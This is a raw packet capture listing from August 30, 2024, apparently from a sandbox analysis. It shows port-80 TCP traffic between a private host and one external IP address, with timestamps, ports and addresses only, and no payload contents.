Aug 30, 2024 18:13:01.851872921 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.851886034 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.852189064 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.852200031 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.852210999 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.852221012 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.852227926 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.852231026 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.852247953 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.852257013 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.852274895 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.852478027 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.852495909 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.852507114 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.852518082 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.852539062 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.852550030 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.852618933 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.852636099 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.852646112 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.852657080 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.852665901 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.852670908 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.852679968 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.852691889 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.852691889 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.852705956 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.852710962 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.852718115 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.852729082 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.852742910 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.852739096 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.852756023 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.852776051 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.852786064 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.853598118 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.853610039 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.853620052 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.853631020 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.853631973 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.853641987 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.853652954 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.853653908 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.853667974 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.853667974 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.853679895 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.853687048 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.853689909 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.853702068 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.853705883 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.853713036 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.853724003 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.853724957 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.853737116 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.853748083 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.853748083 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.853760004 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.853766918 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.853773117 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.853780985 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.853800058 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.853812933 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.854490042 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.854502916 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.854512930 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.854522943 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.854530096 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.854533911 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.854546070 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.854547977 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.854557037 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.854563951 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.854582071 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.854604006 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.925749063 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.925808907 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.925810099 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.925822020 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.925849915 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.925863028 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.926038980 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.926052094 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.926062107 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.926070929 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.926076889 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.926084042 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.926100969 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.926117897 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.926222086 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.926234007 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.926265001 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.926275015 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.926371098 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.926382065 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.926390886 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.926400900 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.926409960 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.926419020 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.926434994 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.926445007 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.929261923 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.929325104 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.929336071 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.929337978 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.929377079 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.929498911 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.929510117 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.929521084 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.929529905 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.929544926 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.929569006 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.929752111 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.929763079 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.929771900 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.929780960 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.929790974 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.929795980 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.929801941 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.929820061 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.929821014 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.929831028 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.929840088 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.929857969 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.929893017 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.930226088 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.930237055 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.930244923 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.930254936 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.930269957 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.930273056 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.930280924 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.930291891 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.930298090 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.930301905 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.930324078 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.930335045 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.930761099 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.930774927 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.930784941 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.930794001 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.930804014 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.930807114 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.930815935 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.930826902 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.930835962 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.930855989 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.930874109 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.931169033 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.931180000 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.931189060 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.931199074 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.931209087 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.931217909 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.931219101 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.931238890 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.931260109 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.937691927 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.937740088 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.937773943 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.937783957 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.937810898 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.937822104 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.937916040 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.937928915 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.937943935 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.937954903 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.937963009 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.937980890 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.937992096 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.938188076 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.938198090 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.938235998 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.938246965 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.938252926 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.938258886 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.938270092 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.938275099 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.938285112 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.938291073 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.938323021 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.938323021 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.938630104 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.938642025 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.938649893 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.938658953 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.938668966 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.938677073 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.938694000 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.938711882 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.938889980 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.938901901 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.938940048 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.938956976 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.938967943 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.938977957 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.938987017 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.938996077 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.938998938 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.939008951 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.939018965 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.939038038 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.939050913 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.939491034 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.939502001 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.939516068 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.939526081 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.939536095 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.939544916 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.939564943 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.265927076 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.271949053 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.441956043 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.441972017 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.441982985 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.442095041 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.442107916 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.442125082 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.442167997 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.442286015 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.442296982 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.442332029 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.442404032 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.442414999 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.442425013 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.442435980 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.442446947 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.442455053 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.442471027 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.442482948 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.442693949 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.442740917 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.442842007 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.442852974 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.442862988 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.442873955 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.442882061 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.442883968 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.442909002 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.442941904 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.443162918 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.443175077 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.443213940 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.443321943 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.443332911 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.443376064 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.443633080 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.443645000 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.443655968 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.443665981 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.443675995 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.443676949 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.443687916 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.443698883 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.443708897 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.443711042 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.443720102 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.443731070 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.443742037 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.443748951 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.443772078 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.443783998 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.443967104 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.443978071 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.444015980 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.444030046 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.444120884 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.444132090 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.444148064 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.444156885 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.444158077 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.444169998 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.444178104 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.444181919 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.444192886 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.444202900 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.444205046 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.444214106 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.444226027 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.444236040 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.444236040 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.444247961 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.444262981 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.444286108 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.444293976 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.444983006 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.444994926 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.445003986 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.445013046 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.445024014 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.445033073 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.445036888 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.445044994 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.445050001 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.445060015 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.445070028 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.445080042 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.445084095 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.445091009 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.445100069 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.445101976 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.445122004 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.445142984 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.445641041 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.445681095 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.445862055 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.445873976 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.445883989 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.445894957 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.445909977 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.445935011 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.446007967 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.446021080 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.446029902 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.446039915 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.446049929 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.446050882 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.446062088 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.446072102 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.446082115 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.446085930 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.446094036 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.446113110 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.446127892 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.446710110 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.446722031 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.446731091 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.446741104 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.446751118 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.446752071 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.446768999 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.446770906 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.446780920 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.446791887 CEST	80	49733	193.176.190.41	192.168.2.4
